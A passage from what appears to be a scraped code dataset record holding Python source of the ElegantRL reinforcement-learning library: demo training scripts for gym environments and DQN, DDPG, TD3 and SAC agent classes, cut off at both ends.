int(time.time() - self.start_time)\n print(f\"{'ID':<3}{'Step':>8}{'TargetR':>8} |\"\n f\"{'avgR':>8}{'stdR':>7}{'avgS':>7}{'stdS':>6} |\"\n f\"{'UsedTime':>8} ########\\n\"\n f\"{self.agent_id:<3}{self.total_step:8.2e}{self.target_return:8.2f} |\"\n f\"{r_avg:8.2f}{r_std:7.1f}{s_avg:7.0f}{s_std:6.0f} |\"\n f\"{self.used_time:>8} ########\")\n\n print(f\"{self.agent_id:<3}{self.total_step:8.2e}{self.r_max:8.2f} |\"\n f\"{r_avg:8.2f}{r_std:7.1f}{s_avg:7.0f}{s_std:6.0f} |\"\n f\"{r_exp:8.2f}{''.join(f'{n:7.2f}' for n in log_tuple)}\")\n return if_reach_goal\n\n @staticmethod\n def get_r_avg_std_s_avg_std(rewards_steps_list):\n rewards_steps_ary = np.array(rewards_steps_list, dtype=np.float32)\n r_avg, s_avg = rewards_steps_ary.mean(axis=0) # average of episode return and episode step\n r_std, s_std = rewards_steps_ary.std(axis=0) # standard dev. of episode return and episode step\n return r_avg, r_std, s_avg, s_std\n\n\ndef get_episode_return_and_step(env, act, device) -> Tuple[float, int]:\n episode_return = 0.0 # sum of rewards in an episode\n episode_step = 1\n max_step = env.max_step\n if_discrete = env.if_discrete\n\n state = env.reset()\n for episode_step in range(max_step):\n s_tensor = torch.as_tensor((state,), device=device)\n a_tensor = act(s_tensor)\n if if_discrete:\n a_tensor = a_tensor.argmax(dim=1)\n action = a_tensor.detach().cpu().numpy()[0] # not need detach(), because using torch.no_grad() outside\n state, reward, done, _ = env.step(action)\n episode_return += reward\n if done:\n break\n episode_return = getattr(env, 'episode_return', episode_return)\n return episode_return, episode_step\n\n\ndef demo_continuous_action_off_policy():\n args = Arguments(if_off_policy=True)\n args.agent = AgentSAC() # AgentModSAC AgentSAC AgentTD3 AgentDDPG\n args.visible_gpu = '0'\n\n if_train_pendulum = 1\n if if_train_pendulum:\n \"TotalStep: 2e5, TargetReward: -200, UsedTime: 200s\"\n args.env = PreprocessEnv(env=gym.make('Pendulum-v1')) # env='Pendulum-v1' is OK.\n args.env.target_return = -200 # set target_reward manually for env 'Pendulum-v1'\n args.reward_scale = 2 ** -2 # RewardRange: -1800 < -200 < -50 < 0\n args.gamma = 0.97\n args.target_step = args.env.max_step * 8\n\n if_train_lunar_lander = 0\n if if_train_lunar_lander:\n \"TotalStep: 4e5, TargetReward: 200, UsedTime: 900s\"\n args.env = PreprocessEnv(env=gym.make('LunarLanderContinuous-v2'))\n args.target_step = args.env.max_step * 4\n args.gamma = 0.98\n\n if_train_bipedal_walker = 0\n if if_train_bipedal_walker:\n \"TotalStep: 8e5, TargetReward: 300, UsedTime: 1800s\"\n args.env = PreprocessEnv(env=gym.make('BipedalWalker-v3'))\n args.gamma = 0.98\n\n args.eval_times = 2 ** 5 # evaluate times of the average episode return\n train_and_evaluate(args)\n\n\ndef demo_continuous_action_on_policy():\n args = Arguments(if_off_policy=False) # hyper-parameters of on-policy is different from off-policy\n args.agent = AgentPPO()\n args.visible_gpu = '0'\n\n if_train_pendulum = 1\n if if_train_pendulum:\n \"TotalStep: 4e5, TargetReward: -200, UsedTime: 400s\"\n args.env = PreprocessEnv(env=gym.make('Pendulum-v1')) # env='Pendulum-v1' is OK.\n args.env.target_return = -200 # set target_reward manually for env 'Pendulum-v1'\n args.reward_scale = 2 ** -3 # RewardRange: -1800 < -200 < -50 < 0\n args.gamma = 0.97\n args.net_dim = 2 ** 7\n args.batch_size = args.net_dim * 2\n args.target_step = args.env.max_step * 8\n\n if_train_lunar_lander = 0\n if if_train_lunar_lander:\n \"TotalStep: 4e5, TargetReward: 200, UsedTime: 900s\"\n args.env = PreprocessEnv(env=gym.make('LunarLanderContinuous-v2'))\n args.target_step = args.env.max_step * 4\n args.gamma = 0.98\n args.if_per_or_gae = True\n\n if_train_bipedal_walker = 0\n if if_train_bipedal_walker:\n \"TotalStep: 8e5, TargetReward: 300, UsedTime: 1800s\"\n args.env = PreprocessEnv(env=gym.make('BipedalWalker-v3'))\n args.gamma = 0.98\n args.if_per_or_gae = True\n args.agent.cri_target = True\n\n args.eval_times = 2 ** 5 # evaluate times of the average episode return\n train_and_evaluate(args)\n\n\ndef demo_discrete_action_off_policy():\n args = Arguments(if_off_policy=True)\n args.agent = AgentDoubleDQN() # AgentDoubleDQN AgentDQN\n args.visible_gpu = '0'\n\n if_train_cart_pole = 1\n if if_train_cart_pole:\n \"TotalStep: 5e4, TargetReward: 200, UsedTime: 60s\"\n args.env = PreprocessEnv(env='CartPole-v0')\n args.reward_scale = 2 ** -1\n args.target_step = args.env.max_step * 8\n\n if_train_lunar_lander = 0\n if if_train_lunar_lander:\n \"TotalStep: 6e5, TargetReturn: 200, UsedTime: 1500s, LunarLander-v2, DQN\"\n args.env = PreprocessEnv(env=gym.make('LunarLander-v2'))\n args.repeat_times = 2 ** 5\n args.if_per_or_gae = True\n\n args.eval_times = 2 ** 5 # evaluate times of the average episode return\n train_and_evaluate(args)\n\n\ndef demo_discrete_action_on_policy():\n args = Arguments(if_off_policy=False) # hyper-parameters of on-policy is different from off-policy\n args.agent = AgentDiscretePPO()\n args.visible_gpu = '0'\n\n if_train_cart_pole = 1\n if if_train_cart_pole:\n \"TotalStep: 5e4, TargetReward: 200, UsedTime: 60s\"\n args.env = PreprocessEnv(env='CartPole-v0')\n args.reward_scale = 2 ** -1\n args.target_step = args.env.max_step * 8\n\n if_train_lunar_lander = 0\n if if_train_lunar_lander:\n \"TotalStep: 6e5, TargetReturn: 200, UsedTime: 1500s, LunarLander-v2, PPO\"\n args.env = PreprocessEnv(env=gym.make('LunarLander-v2'))\n args.repeat_times = 2 ** 5\n args.if_per_or_gae = True\n\n args.eval_times = 2 ** 5 # evaluate times of the average episode return\n train_and_evaluate(args)\n\n\nif __name__ == '__main__':\n # demo_continuous_action_off_policy()\n demo_continuous_action_on_policy()\n # demo_discrete_action_off_policy()\n # demo_discrete_action_on_policy()\n", "id": "5314695", "language": "Python", "matching_score": 4.611203193664551, "max_stars_count": 0, "path": "elegantrl_helloworld/run.py" }, { "content": "import os\r\nimport numpy.random as rd\r\nfrom copy import deepcopy\r\nfrom elegantrl.net import *\r\n\r\n\r\nclass AgentBase:\r\n def __init__(self, net_dim: int, state_dim: int, action_dim: int,\r\n act_class=None, cri_class=None, gpu_id=0, args=None):\r\n self.gamma = args.gamma\r\n self.reward_scale = args.reward_scale\r\n self.if_act_target = args.if_act_target\r\n self.if_cri_target = args.if_cri_target\r\n self.env_num = getattr(args, 'env_num', 1)\r\n self.explore_noise = getattr(args, 'explore_noise', 0.1)\r\n self.if_use_old_traj = getattr(args, 'if_use_old_traj', False)\r\n\r\n self.states = None\r\n self.action_dim = action_dim\r\n self.device = torch.device(f\"cuda:{gpu_id}\" if (torch.cuda.is_available() and (gpu_id >= 0)) else \"cpu\")\r\n self.traj_list = [[list() for _ in range(4 if args.if_off_policy else 5)]\r\n for _ in range(self.env_num)] # set for `self.explore_vec_env()`\r\n\r\n self.act = act_class(net_dim, state_dim, action_dim).to(self.device)\r\n self.cri = cri_class(net_dim, state_dim, action_dim).to(self.device) if cri_class else self.act\r\n self.act_target = deepcopy(self.act) if self.if_act_target else self.act\r\n self.cri_target = deepcopy(self.cri) if self.if_cri_target else self.cri\r\n\r\n self.act_optim = torch.optim.Adam(self.act.parameters(), args.learning_rate)\r\n self.cri_optim = torch.optim.Adam(self.cri.parameters(), args.learning_rate) if cri_class else self.act_optim\r\n\r\n '''function'''\r\n self.criterion = torch.nn.SmoothL1Loss()\r\n self.explore_env = None # one env or vec env\r\n self.get_obj_critic = None # for off-policy (TD-error)\r\n self.get_reward_sum = None # for on-policy (V-trace)\r\n\r\n @staticmethod\r\n def optim_update(optimizer, objective):\r\n optimizer.zero_grad()\r\n objective.backward()\r\n optimizer.step()\r\n\r\n @staticmethod\r\n def soft_update(target_net, current_net, tau):\r\n for tar, cur in zip(target_net.parameters(), current_net.parameters()):\r\n tar.data.copy_(cur.data * tau + tar.data * (1.0 - tau))\r\n\r\n def save_or_load_agent(self, cwd, if_save):\r\n def load_torch_file(model_or_optim, _path):\r\n state_dict = torch.load(_path, map_location=lambda storage, loc: storage)\r\n model_or_optim.load_state_dict(state_dict)\r\n\r\n name_obj_list = [('actor', self.act), ('act_target', self.act_target), ('act_optim', self.act_optim),\r\n ('critic', self.cri), ('cri_target', self.cri_target), ('cri_optim', self.cri_optim), ]\r\n name_obj_list = [(name, obj) for name, obj in name_obj_list if obj is not None]\r\n if if_save:\r\n for name, obj in name_obj_list:\r\n save_path = f\"{cwd}/{name}.pth\"\r\n torch.save(obj.state_dict(), save_path)\r\n else:\r\n for name, obj in name_obj_list:\r\n save_path = f\"{cwd}/{name}.pth\"\r\n load_torch_file(obj, save_path) if os.path.isfile(save_path) else None\r\n\r\n def convert_trajectory(self, buf_items, last_done): # [ElegantRL.2022.01.01]\r\n # assert len(buf_items) == step_i\r\n # assert len(buf_items[0]) in {4, 5}\r\n # assert len(buf_items[0][0]) == self.env_num\r\n buf_items = list(map(list, zip(*buf_items))) # s_r_d_a_n: state, reward, done, action, noise\r\n # assert len(buf_items) == {4, 5}\r\n # assert len(buf_items[0]) == step\r\n # assert len(buf_items[0][0]) == self.env_num\r\n\r\n '''stack items'''\r\n buf_items[0] = torch.stack(buf_items[0])\r\n buf_items[3:] = [torch.stack(item) for item in buf_items[3:]]\r\n if self.env_num > 1:\r\n buf_items[1] = (torch.stack(buf_items[1]) * self.reward_scale).unsqueeze(2)\r\n buf_items[2] = ((1 - torch.stack(buf_items[2])) * self.gamma).unsqueeze(2)\r\n else:\r\n buf_items[1] = (torch.tensor(buf_items[1], dtype=torch.float32) * self.reward_scale).unsqueeze(1).unsqueeze(\r\n 2)\r\n buf_items[2] = ((1 - torch.tensor(buf_items[2], dtype=torch.float32)) * self.gamma).unsqueeze(1).unsqueeze(\r\n 2)\r\n # assert all([buf_item.shape[:2] == (step, self.env_num) for buf_item in buf_items])\r\n\r\n '''splice items'''\r\n out_item = list()\r\n for j in range(len(buf_items)):\r\n cur_item = list()\r\n buf_item = buf_items.pop(0)\r\n\r\n for env_i in range(self.env_num):\r\n last_step = last_done[env_i]\r\n\r\n pre_item = self.traj_list[env_i][j]\r\n if len(pre_item):\r\n cur_item.append(pre_item)\r\n\r\n cur_item.append(buf_item[:last_step, env_i])\r\n\r\n if self.if_use_old_traj:\r\n self.traj_list[env_i][j] = buf_item[last_step:, env_i]\r\n\r\n out_item.append(torch.vstack(cur_item))\r\n\r\n # on-policy: out_item = [states, rewards, dones, actions, noises]\r\n # off-policy: out_item = [states, rewards, dones, actions]\r\n return out_item\r\n\r\n\r\n'''DQN'''\r\n\r\n\r\nclass AgentDQN(AgentBase):\r\n def __init__(self, net_dim, state_dim, action_dim, gpu_id=0, args=None):\r\n act_class = QNet\r\n cri_class = None # = act_class\r\n AgentBase.__init__(self, net_dim, state_dim, action_dim, act_class, cri_class, gpu_id, args)\r\n\r\n self.explore_rate = 0.25 # the probability of choosing action randomly in epsilon-greedy\r\n self.if_use_cri_target = True\r\n self.ClassCri = QNet\r\n\r\n if self.env_num == 1:\r\n self.explore_env = self.explore_one_env\r\n else:\r\n self.explore_env = self.explore_vec_env\r\n\r\n def explore_one_env(self, env, target_step) -> list:\r\n traj_list = list()\r\n last_done = 0\r\n state = self.states[0]\r\n\r\n '''get traj_list and last_done'''\r\n step_i = 0\r\n done = False\r\n while step_i < target_step or not done:\r\n ten_s = torch.as_tensor(state, dtype=torch.float32).unsqueeze(0)\r\n # ten_a = self.act.get_action(ten_s.to(self.device), self.explore_noise).detach().cpu() # different\r\n if rd.rand() > self.explore_rate: # epsilon-greedy\r\n ten_a = self.act(ten_s).detach().argmax(dim=0, keepdim=True)\r\n else:\r\n ten_a = torch.randint(self.action_dim, size=(1, 1)) # choosing action randomly\r\n next_s, reward, done, _ = env.step(ten_a[0].numpy()) # different\r\n\r\n traj_list.append((ten_s, reward, done, ten_a)) # different\r\n\r\n step_i += 1\r\n if done:\r\n state = env.reset()\r\n last_done = step_i # behind `step_i += 1`\r\n else:\r\n state = next_s\r\n\r\n last_done = (last_done,)\r\n self.states[0] = state\r\n\r\n out_items = self.convert_trajectory(traj_list, last_done)\r\n return [out_items, ] # plan to be elegant\r\n\r\n def explore_vec_env(self, env, target_step) -> list:\r\n traj_list = list()\r\n last_done = torch.zeros(self.env_num, dtype=torch.int, device=self.device)\r\n\r\n '''get traj_list and last_done'''\r\n ten_s = self.states\r\n step_i = 0\r\n ten_dones = torch.zeros(self.env_num, dtype=torch.int, device=self.device)\r\n while step_i < target_step or not any(ten_dones):\r\n # ten_a = self.act.get_action(ten_s, self.explore_noise).detach() # different\r\n if rd.rand() > self.explore_rate: # epsilon-greedy\r\n ten_a = self.act(ten_s).detach().argmax(dim=1)\r\n else:\r\n ten_a = torch.randint(self.action_dim, size=(self.env_num, 1)) # choosing action randomly\r\n ten_s_next, ten_rewards, ten_dones, _ = env.step(ten_a) # different\r\n\r\n traj_list.append((ten_s.clone(), ten_rewards.clone(), ten_dones.clone(), ten_a)) # different\r\n\r\n ten_s = ten_s_next\r\n\r\n step_i += 1\r\n last_done[torch.where(ten_dones)[0]] = step_i # behind `step_i+=1`\r\n # assert len(traj_list) == step_i\r\n # assert len(traj_list[0]) == 4 # different\r\n # assert len(traj_list[0][0]) == self.env_num\r\n self.states = ten_s\r\n\r\n out_items = self.convert_trajectory(traj_list, last_done)\r\n return [out_items, ] # plan to be elegant\r\n\r\n def update_net(self, buffer, batch_size, repeat_times, soft_update_tau) -> tuple:\r\n buffer.update_now_len()\r\n obj_critic = q_value = None\r\n for _ in range(int(buffer.now_len / batch_size * repeat_times)):\r\n obj_critic, q_value = self.get_obj_critic(buffer, batch_size)\r\n self.optim_update(self.cri_optim, obj_critic)\r\n self.soft_update(self.cri_target, self.cri, soft_update_tau)\r\n return obj_critic.item(), q_value.mean().item()\r\n\r\n def get_obj_critic(self, buffer, batch_size) -> (torch.Tensor, torch.Tensor):\r\n with torch.no_grad():\r\n reward, mask, action, state, next_s = buffer.sample_batch(batch_size)\r\n next_q = self.cri_target(next_s).max(dim=1, keepdim=True)[0]\r\n q_label = reward + mask * next_q\r\n\r\n q_value = self.cri(state).gather(1, action.long())\r\n obj_critic = self.criterion(q_value, q_label)\r\n return obj_critic, q_value\r\n\r\n\r\nclass AgentDoubleDQN(AgentDQN):\r\n def __init__(self, net_dim, state_dim, action_dim, gpu_id=0, args=None):\r\n act_class = QNetTwin\r\n cri_class = None # = act_class\r\n AgentBase.__init__(self, net_dim, state_dim, action_dim, act_class, cri_class, gpu_id, args)\r\n self.softMax = torch.nn.Softmax(dim=1) # todo plan to\r\n\r\n def select_action(self, state) -> int: # for discrete action space\r\n states = torch.as_tensor((state,), dtype=torch.float32, device=self.device)\r\n actions = self.act(states)\r\n if rd.rand() < self.explore_rate: # epsilon-greedy\r\n a_prob = self.softMax(actions)[0].detach().cpu().numpy()\r\n a_int = rd.choice(self.action_dim, p=a_prob) # choose action according to Q value\r\n else:\r\n action = actions[0]\r\n a_int = action.argmax(dim=0).detach().cpu().numpy()\r\n return a_int\r\n\r\n def get_obj_critic(self, buffer, batch_size) -> (torch.Tensor, torch.Tensor):\r\n with torch.no_grad():\r\n reward, mask, action, state, next_s = buffer.sample_batch(batch_size)\r\n next_q = torch.min(*self.cri_target.get_q1_q2(next_s)).max(dim=1, keepdim=True)[0]\r\n q_label = reward + mask * next_q\r\n\r\n q1, q2 = [qs.gather(1, action.long()) for qs in self.act.get_q1_q2(state)]\r\n obj_critic = self.criterion(q1, q_label) + self.criterion(q2, q_label)\r\n return obj_critic, q1\r\n\r\n\r\n'''off-policy'''\r\n\r\n\r\nclass AgentDDPG(AgentBase):\r\n def __init__(self, net_dim, state_dim, action_dim, gpu_id=0, args=None):\r\n act_class = Actor\r\n cri_class = Critic\r\n self.if_act_target = True\r\n self.if_cri_target = True\r\n AgentBase.__init__(self, net_dim, state_dim, action_dim, act_class, cri_class, gpu_id, args)\r\n self.explore_noise = 0.1 # explore noise of action\r\n\r\n if self.env_num == 1:\r\n self.explore_env = self.explore_one_env\r\n else:\r\n self.explore_env = self.explore_vec_env\r\n\r\n if getattr(args, 'if_use_per', False):\r\n self.criterion = torch.nn.MSELoss(reduction='none')\r\n self.get_obj_critic = self.get_obj_critic_per\r\n else:\r\n self.criterion = torch.nn.MSELoss(reduction='mean')\r\n self.get_obj_critic = self.get_obj_critic_raw\r\n\r\n def explore_one_env(self, env, target_step) -> list:\r\n traj_list = list()\r\n last_done = 0\r\n state = self.states[0]\r\n\r\n '''get traj_list and last_done'''\r\n step_i = 0\r\n done = False\r\n while step_i < target_step or not done:\r\n ten_s = torch.as_tensor(state, dtype=torch.float32).unsqueeze(0)\r\n ten_a = self.act.get_action(ten_s.to(self.device), self.explore_noise).detach().cpu() # different\r\n next_s, reward, done, _ = env.step(ten_a[0].numpy()) # different\r\n\r\n traj_list.append((ten_s, reward, done, ten_a)) # different\r\n\r\n step_i += 1\r\n if done:\r\n state = env.reset()\r\n last_done = step_i # behind `step_i += 1`\r\n else:\r\n state = next_s\r\n last_done = (last_done,)\r\n # assert len(traj_list) == step_i\r\n # assert len(traj_list[0]) == 4 # different\r\n # assert len(traj_list[0][0]) == self.env_num\r\n self.states[0] = state\r\n\r\n out_items = self.convert_trajectory(traj_list, last_done)\r\n return [out_items, ] # plan to be elegant\r\n\r\n def explore_vec_env(self, env, target_step) -> list:\r\n traj_list = list()\r\n last_done = torch.zeros(self.env_num, dtype=torch.int, device=self.device)\r\n\r\n '''get traj_list and last_done'''\r\n ten_s = self.states\r\n step_i = 0\r\n ten_dones = torch.zeros(self.env_num, dtype=torch.int, device=self.device)\r\n while step_i < target_step or not any(ten_dones):\r\n ten_a = self.act.get_action(ten_s, self.explore_noise).detach() # different\r\n ten_s_next, ten_rewards, ten_dones, _ = env.step(ten_a) # different\r\n\r\n traj_list.append((ten_s.clone(), ten_rewards.clone(), ten_dones.clone(), ten_a)) # different\r\n\r\n ten_s = ten_s_next\r\n\r\n step_i += 1\r\n last_done[torch.where(ten_dones)[0]] = step_i # behind `step_i+=1`\r\n # assert len(traj_list) == step_i\r\n # assert len(traj_list[0]) == 4 # different\r\n # assert len(traj_list[0][0]) == self.env_num\r\n self.states = ten_s\r\n\r\n out_items = self.convert_trajectory(traj_list, last_done)\r\n return [out_items, ] # plan to be elegant\r\n\r\n def update_net(self, buffer, batch_size, repeat_times, soft_update_tau) -> (float, float):\r\n buffer.update_now_len()\r\n obj_critic = obj_actor = None\r\n for _ in range(int(buffer.now_len / batch_size * repeat_times)):\r\n obj_critic, state = self.get_obj_critic(buffer, batch_size)\r\n self.optim_update(self.cri_optim, obj_critic)\r\n self.soft_update(self.cri_target, self.cri, soft_update_tau)\r\n\r\n action_pg = self.act(state) # policy gradient\r\n obj_actor = -self.cri(state, action_pg).mean()\r\n self.optim_update(self.act_optim, obj_actor)\r\n self.soft_update(self.act_target, self.act, soft_update_tau)\r\n return obj_actor.item(), obj_critic.item()\r\n\r\n def get_obj_critic_raw(self, buffer, batch_size):\r\n \"\"\"\r\n Calculate the loss of networks with **uniform sampling**.\r\n\r\n :param buffer: the ReplayBuffer instance that stores the trajectories.\r\n :param batch_size: the size of batch data for Stochastic Gradient Descent (SGD).\r\n :return: the loss of the network and states.\r\n \"\"\"\r\n with torch.no_grad():\r\n reward, mask, action, state, next_s = buffer.sample_batch(batch_size)\r\n next_q = self.cri_target(next_s, self.act_target(next_s))\r\n q_label = reward + mask * next_q\r\n q_value = self.cri(state, action)\r\n obj_critic = self.criterion(q_value, q_label)\r\n return obj_critic, state\r\n\r\n def get_obj_critic_per(self, buffer, batch_size):\r\n \"\"\"\r\n Calculate the loss of the network with **Prioritized Experience Replay (PER)**.\r\n\r\n :param buffer: the ReplayBuffer instance that stores the trajectories.\r\n :param batch_size: the size of batch data for Stochastic Gradient Descent (SGD).\r\n :return: the loss of the network and states.\r\n \"\"\"\r\n with torch.no_grad():\r\n reward, mask, action, state, next_s, is_weights = buffer.sample_batch(batch_size)\r\n next_q = self.cri_target(next_s, self.act_target(next_s))\r\n q_label = reward + mask * next_q\r\n\r\n q_value = self.cri(state, action)\r\n td_error = self.criterion(q_value, q_label) # or td_error = (q_value - q_label).abs()\r\n obj_critic = (td_error * is_weights).mean()\r\n\r\n buffer.td_error_update(td_error.detach())\r\n return obj_critic, state\r\n\r\n\r\nclass AgentTD3(AgentDDPG):\r\n def __init__(self, net_dim, state_dim, action_dim, gpu_id=0, args=None):\r\n act_class = Actor\r\n cri_class = CriticTwin\r\n self.if_act_target = True\r\n self.if_cri_target = True\r\n AgentBase.__init__(self, net_dim, state_dim, action_dim, act_class, cri_class, gpu_id, args)\r\n self.explore_noise = 0.1 # standard deviation of exploration noise\r\n self.policy_noise = 0.2 # standard deviation of policy noise\r\n self.update_freq = 2 # delay update frequency\r\n\r\n if self.env_num == 1:\r\n self.explore_env = self.explore_one_env\r\n else:\r\n self.explore_env = self.explore_vec_env\r\n\r\n if getattr(args, 'if_use_per', False):\r\n self.criterion = torch.nn.MSELoss(reduction='none')\r\n self.get_obj_critic = self.get_obj_critic_per\r\n else:\r\n self.criterion = torch.nn.MSELoss(reduction='mean')\r\n self.get_obj_critic = self.get_obj_critic_raw\r\n\r\n def update_net(self, buffer, batch_size, repeat_times, soft_update_tau) -> tuple:\r\n buffer.update_now_len()\r\n obj_critic = obj_actor = None\r\n for update_c in range(int(buffer.now_len / batch_size * repeat_times)):\r\n obj_critic, state = self.get_obj_critic(buffer, batch_size)\r\n self.optim_update(self.cri_optim, obj_critic)\r\n\r\n action_pg = self.act(state) # policy gradient\r\n obj_actor = -self.cri_target(state, action_pg).mean() # use cri_target instead of cri for stable training\r\n self.optim_update(self.act_optim, obj_actor)\r\n if update_c % self.update_freq == 0: # delay update\r\n self.soft_update(self.cri_target, self.cri, soft_update_tau)\r\n self.soft_update(self.act_target, self.act, soft_update_tau)\r\n return obj_critic.item() / 2, obj_actor.item()\r\n\r\n def get_obj_critic_raw(self, buffer, batch_size):\r\n \"\"\"\r\n Calculate the loss of networks with **uniform sampling**.\r\n\r\n :param buffer: the ReplayBuffer instance that stores the trajectories.\r\n :param batch_size: the size of batch data for Stochastic Gradient Descent (SGD).\r\n :return: the loss of the network and states.\r\n \"\"\"\r\n with torch.no_grad():\r\n reward, mask, action, state, next_s = buffer.sample_batch(batch_size)\r\n next_a = self.act_target.get_action(next_s, self.policy_noise) # policy noise\r\n next_q = torch.min(*self.cri_target.get_q1_q2(next_s, next_a)) # twin critics\r\n q_label = reward + mask * next_q\r\n q1, q2 = self.cri.get_q1_q2(state, action)\r\n obj_critic = self.criterion(q1, q_label) + self.criterion(q2, q_label) # twin critics\r\n return obj_critic, state\r\n\r\n def get_obj_critic_per(self, buffer, batch_size):\r\n \"\"\"\r\n Calculate the loss of the network with **Prioritized Experience Replay (PER)**.\r\n\r\n :param buffer: the ReplayBuffer instance that stores the trajectories.\r\n :param batch_size: the size of batch data for Stochastic Gradient Descent (SGD).\r\n :return: the loss of the network and states.\r\n \"\"\"\r\n with torch.no_grad():\r\n reward, mask, action, state, next_s, is_weights = buffer.sample_batch(batch_size)\r\n next_a = self.act_target.get_action(next_s, self.policy_noise) # policy noise\r\n next_q = torch.min(*self.cri_target.get_q1_q2(next_s, next_a)) # twin critics\r\n q_label = reward + mask * next_q\r\n\r\n q1, q2 = self.cri.get_q1_q2(state, action)\r\n td_error = self.criterion(q1, q_label) + self.criterion(q2, q_label)\r\n obj_critic = (td_error * is_weights).mean()\r\n\r\n buffer.td_error_update(td_error.detach())\r\n return obj_critic, state\r\n\r\n\r\nclass AgentSAC(AgentBase):\r\n def __init__(self, net_dim, state_dim, action_dim, gpu_id=0, args=None):\r\n act_class = ActorSAC\r\n cri_class = CriticTwin\r\n self.if_act_target = False\r\n self.if_cri_target = True\r\n AgentBase.__init__(self, net_dim, state_dim, action_dim, act_class, cri_class, gpu_id, args)\r\n\r\n self.alpha_log = torch.tensor((-np.log(action_dim) * np.e,), dtype=torch.float32,\r\n requires_grad=True, device=self.device) # trainable parameter\r\n self.alpha_optim = torch.optim.Adam((self.alpha_log,), lr=args.learning_rate)\r\n self.target_entropy = np.log(action_dim)\r\n\r\n if self.env_num == 1:\r\n self.explore_env = self.explore_one_env\r\n else:\r\n self.explore_env = self.explore_vec_env\r\n\r\n if getattr(args, 'if_use_per', False):\r\n self.criterion = torch.nn.MSELoss(reduction='none')\r\n self.get_obj_critic = self.get_obj_critic_per\r\n else:\r\n self.criterion = torch.nn.MSELoss(reduction='mean')\r\n self.get_obj_critic = self.get_obj_critic_raw\r\n\r\n def explore_one_env(self, env, target_step) -> list:\r\n traj_list = list()\r\n last_done = 0\r\n state = self.states[0]\r\n\r\n '''get traj_list and last_done'''\r\n step_i = 0\r\n done = False\r\n while step_i < target_step or not done:\r\n ten_s = torch.as_tensor(state, dtype=torch.float32).unsqueeze(0)\r\n ten_a = self.act.get_action(ten_s.to(self.device), self.explore_noise).detach().cpu() # different\r\n next_s, reward, done, _ = env.step(ten_a[0].numpy()) # different\r\n\r\n traj_list.append((ten_s, reward, done, ten_a)) # different\r\n\r\n step_i += 1\r\n if done:\r\n state = env.reset()\r\n last_done = step_i # behind `step_i += 1`\r\n else:\r\n state = next_s\r\n last_done = (last_done,)\r\n # assert len(traj_list) == step_i\r\n # assert len(traj_list[0]) == 4 # different\r\n # assert len(traj_list[0][0]) == self.env_num\r\n self.states[0] = state\r\n\r\n out_items = self.convert_trajectory(traj_list, last_done)\r\n return [out_items, ] # plan to be elegant\r\n\r\n def explore_vec_env(self, env, target_step) -> list:\r\n traj_list = list()\r\n last_done = torch.zeros(self.env_num, dtype=torch.int, device=self.device)\r\n\r\n '''get traj_list and last_done'''\r\n ten_s = self.states\r\n step_i = 0\r\n ten_dones = torch.zeros(self.env_num, dtype=torch.int, device=self.device)\r\n while step_i < target_step or not any(ten_dones):\r\n ten_a = self.act.get_action(ten_s, self.explore_noise).detach() # different\r\n ten_s_next, ten_rewards, ten_dones, _ = env.step(ten_a) # different\r\n\r\n traj_list.append((ten_s.clone(), ten_rewards.clone(), ten_dones.clone(), ten_a)) # different\r\n\r\n ten_s = ten_s_next\r\n\r\n step_i += 1\r\n last_done[torch.where(ten_dones)[0]] = step_i # behind `step_i+=1`\r\n # assert len(traj_list) == step_i\r\n # assert len(traj_list[0]) == 4 # different\r\n # assert len(traj_list[0][0]) == self.env_num\r\n self.states = ten_s\r\n\r\n out_items = self.convert_trajectory(traj_list, last_done)\r\n return [out_items, ] # plan to be elegant\r\n\r\n def update_net(self, buffer, batch_size, repeat_times, soft_update_tau):\r\n buffer.update_now_len()\r\n\r\n alpha = self.alpha_log.exp().detach()\r\n obj_critic = obj_actor = None\r\n for _ in range(int(buffer.now_len * repeat_times / batch_size)):\r\n '''objective of critic (loss function of critic)'''\r\n with torch.no_grad():\r\n reward, mask, action, state, next_s = buffer.sample_batch(batch_size)\r\n next_a, next_log_prob = self.act_target.get_action_logprob(next_s)\r\n next_q = torch.min(*self.cri_target.get_q1_q2(next_s, next_a))\r\n q_label = reward + mask * (next_q + next_log_prob * alpha)\r\n q1, q2 = self.cri.get_q1_q2(state, action)\r\n obj_critic = self.criterion(q1, q_label) + self.criterion(q2, q_label)\r\n self.optim_update(self.cri_optim, obj_critic)\r\n self.soft_update(self.cri_target, self.cri, soft_update_tau)\r\n\r\n '''objective of alpha (temperature parameter automatic adjustment)'''\r\n action_pg, log_prob = self.act.get_action_logprob(state) # policy gradient\r\n obj_alpha = (self.alpha_log * (log_prob - self.target_entropy).detach()).mean()\r\n self.optim_update(self.alpha_optim, obj_alpha)\r\n\r\n '''objective of actor'''\r\n alpha = self.alpha_log.exp().detach()\r\n with torch.no_grad():\r\n self.alpha_log[:] = self.alpha_log.clamp(-20, 2)\r\n obj_actor = -(torch.min(*self.cri_target.get_q1_q2(state, action_pg)) + log_prob * alpha).mean()\r\n self.optim_update(self.act_optim, obj_actor)\r\n\r\n self.soft_update(self.act_target, self.act, soft_update_tau)\r\n\r\n return obj_critic.item(), obj_actor.item(), alpha.item()\r\n\r\n def get_obj_critic_raw(self, buffer, batch_size, alpha):\r\n \"\"\"\r\n Calculate the loss of networks with **uniform sampling**.\r\n\r\n :param buffer: the ReplayBuffer instance that stores the trajectories.\r\n :param batch_size: the size of batch data for Stochastic Gradient Descent (SGD).\r\n :param alpha: the trade-off coefficient of entropy regularization.\r\n :return: the loss of the network and states.\r\n \"\"\"\r\n with torch.no_grad():\r\n reward, mask, action, state, next_s = buffer.sample_batch(batch_size)\r\n\r\n next_a, next_log_prob = self.act_target.get_action_logprob(next_s) # stochastic policy\r\n next_q = torch.min(*self.cri_target.get_q1_q2(next_s, next_a)) # twin critics\r\n\r\n q_label = reward + mask * (next_q + next_log_prob * alpha)\r\n q1, q2 = self.cri.get_q1_q2(state, action)\r\n obj_critic = (self.criterion(q1, q_label) + self.criterion(q2, q_label)) / 2\r\n return obj_critic, state\r\n\r\n def get_obj_critic_per(self, buffer, batch_size, alpha):\r\n \"\"\"\r\n Calculate the loss of the network with **Prioritized Experience Replay (PER)**.\r\n\r\n :param buffer: the ReplayBuffer instance that stores the trajectories.\r\n :param batch_size: the size of batch data for Stochastic Gradient Descent (SGD).\r\n :param alpha: the trade-off coefficient of entropy regularization.\r\n :return: the loss of the network and states.\r\n \"\"\"\r\n with torch.no_grad():\r\n reward, mask, action, state, next_s, is_weights = buffer.sample_batch(batch_size)\r\n\r\n next_a, next_log_prob = self.act_target.get_action_logprob(next_s) # stochastic policy\r\n next_q = torch.min(*self.cri_target.get_q1_q2(next_s, 